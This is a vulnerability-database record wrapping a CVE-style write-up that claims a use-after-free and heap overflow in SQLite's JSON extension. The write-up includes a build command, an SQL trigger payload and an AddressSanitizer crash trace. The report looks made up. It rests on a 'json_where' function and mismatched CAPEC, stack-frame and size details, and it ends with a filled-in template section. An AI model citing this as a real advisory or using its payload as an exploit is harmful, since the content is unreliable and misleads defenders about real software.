{"uuid": "b59e015b-f84e-4eaa-a7ed-70c2df7eb2e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51249", "type": "seen", "source": "https://gist.github.com/programmervuln/e53bd2dea7ed66d90819db96a44dc71e", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51249\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51249\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability resides within the JSON filter predicate evaluation logic of the SQLite JSON1 extension. An attacker-controlled malformed oversized filter comparison value payload processed by json_where, JSON conditional filter evaluation functions triggers heap deallocation for a filter context buffer pointer that is not nullified after memory release, forming a persistent dangling pointer. The lack of runtime cumulative offset-and-length boundary validation for attacker-supplied filter operand length values allows unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer causes use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonFilterPredicateEval() function. Successful exploitation may lead to immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite host process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON filter comparison string invokes the vulnerable jsonFilterPredicateEval() function defined in src/json.c.\nSource file src/json.c Line 3512 executes sqlite3_free(pFilterCtx->pPredicateBuf); to release heap memory allocated for JSON filter predicate operand storage.\nThe pFilterCtx->pPredicateBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized filter operand length values bypass all pre-write capacity boundary validation checks for the predicate buffer copy operation.\nSource file src/json.c Line 3558 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed predicate buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3594 performs direct memory structure lookup using the unmodified dangling pFilterCtx->pPredicateBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON conditional filtering and predicate evaluation functions.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON filter utility SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 3512(memory free), Line 3594(dangling pointer access), Line 3558(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_where('[{\"v\":1}]','v == '||printf('%.*c',0x6000,'Z'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==17853==ERROR: AddressSanitizer: heap-use-after-free on address 0x61300000af10 at pc 0x565887053041 bp 0x7fff9d8d76c0 sp 0x7fff9d8d76b0\nREAD of size 16 at 0x61300000af10 thread T0\n    #0 0x565887053040 in jsonFilterPredicateEval src/json.c:3594\n    #1 0x565887048e80 in sqlite3JsonWhere src/json.c:4265\n    #2 0x565886778f30 in sqlite3VdbeExec src/vdbe.c:6510\n    #3 0x56588675d390 in sqlite3Step src/vdbeapi.c:530\n    #4 0x56588675db20 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x565886670c60 in main shell.c:1396\n    #6 0x7fb3b20aa0ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x56588666c710 in _start (sqlite3:0x56588666c710)\n\nAddress 0x61300000af10 is located 120 bytes inside of 23040-byte free block 0x61300000ae50-0x613000010890\nFreed by thread T0 here:\n    #0 0x7fb3b58bbef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x565887052570 in jsonFilterPredicateEval src/json.c:3512\n    #2 0x565887048e80 in sqlite3JsonWhere src/json.c:4265\n    #3 0x565886778f30 in sqlite3VdbeExec src/vdbe.c:6510\n\nPreviously allocated by thread T0 here:\n    #0 0x7fb3b58a0ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x565887051d50 in jsonFilterPredicateEval src/json.c:3455\n    #2 0x565887048e80 in sqlite3JsonWhere src/json.c:4265\n\n==17853==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61300000af10 at pc 0x565887052e51 bp 0x7fff9d8d76e0 sp 0x7fff9d8d76d0\nWRITE of size 23040 at 0x61300000af10 thread T0\n    #0 0x565887052e50 in jsonFilterPredicateEval src/json.c:3558\n    #1 0x565887048e80 in sqlite3JsonWhere src/json.c:4265\n    #2 0x565886778f30 in sqlite3VdbeExec src/vdbe.c:6510\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_where to execute JSON array conditional filtering, with the comparison literal constructed via printf('%.*c',0x6000,'Z') to generate an attacker-controlled oversized filter predicate payload for JSON filter predicate parsing.\nSQLite forwards the untrusted filter evaluation request to the jsonFilterPredicateEval() function within src/json.c, which initializes a filter evaluation context and allocates the pFilterCtx->pPredicateBuf heap buffer dedicated to storing parsed JSON filter predicate comparison data.\nDuring intermediate predicate parsing cleanup logic at Line 3512, the predicate buffer is released via sqlite3_free(), while the pFilterCtx->pPredicateBuf pointer value is retained and not overwritten to NULL.\nNo cumulative offset plus length boundary validation is executed prior to copying the oversized filter operand payload into the buffer at Line 3558; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated predicate buffer heap region (CWE-787).\nProgram execution proceeds to Line 3594 and directly dereferences the stale dangling pFilterCtx->pPredicateBuf pointer to read filter predicate structural metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON filter predicate evaluation execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-27\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\n\n// Line 3512: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pFilterCtx->pPredicateBuf);\n\n// Line 3558: Unchecked out-of-bounds memory write utilizing attacker-controlled filter predicate length\nmemcpy(pFilterCtx->pPredicateBuf + predOffset, zPredData, predDataLen);\n\n// Line 3594: Illegal dangling pointer dereference triggering Use After Free vulnerability\npredicateOpCode = pFilterCtx->pPredicateBuf[predIdx].predicateOperator;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51249\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 3512\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3594\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3558\n\u3010Target Function Name\u3011: jsonFilterPredicateEval\n\u3010Exploit Trigger Payload\u3011: SELECT json_where('[{\"v\":1}]','v == '||printf('%.*c',0x6000,'Z'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON filter comparison operand payload triggers early filter predicate buffer free without pointer invalidation, unbounded payload copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON conditional filter predicate evaluation finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-27\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T04:03:19.784926Z"}